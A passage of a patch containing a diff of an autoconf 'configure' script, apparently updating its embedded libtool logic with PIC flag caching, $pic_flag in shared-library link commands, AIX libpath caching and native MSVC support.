+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8088,13 +8587,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8155,6 +8658,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8505,7 +9013,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8604,12 +9113,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8623,8 +9132,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8642,8 +9151,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8689,8 +9198,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8820,7 +9329,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8833,22 +9348,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -8860,7 +9382,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -8873,22 +9401,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -8933,20 +9468,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9007,7 +9585,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9015,7 +9593,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9031,7 +9609,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9055,10 +9633,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9137,23 +9715,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9238,7 +9829,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9257,9 +9848,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -9835,8 +10426,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -9869,13 +10461,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10777,7 +11427,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10780 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10821,10 +11471,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -10883,7 +11533,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10886 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10927,10 +11577,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -17080,13 +17730,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -17101,14 +17758,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
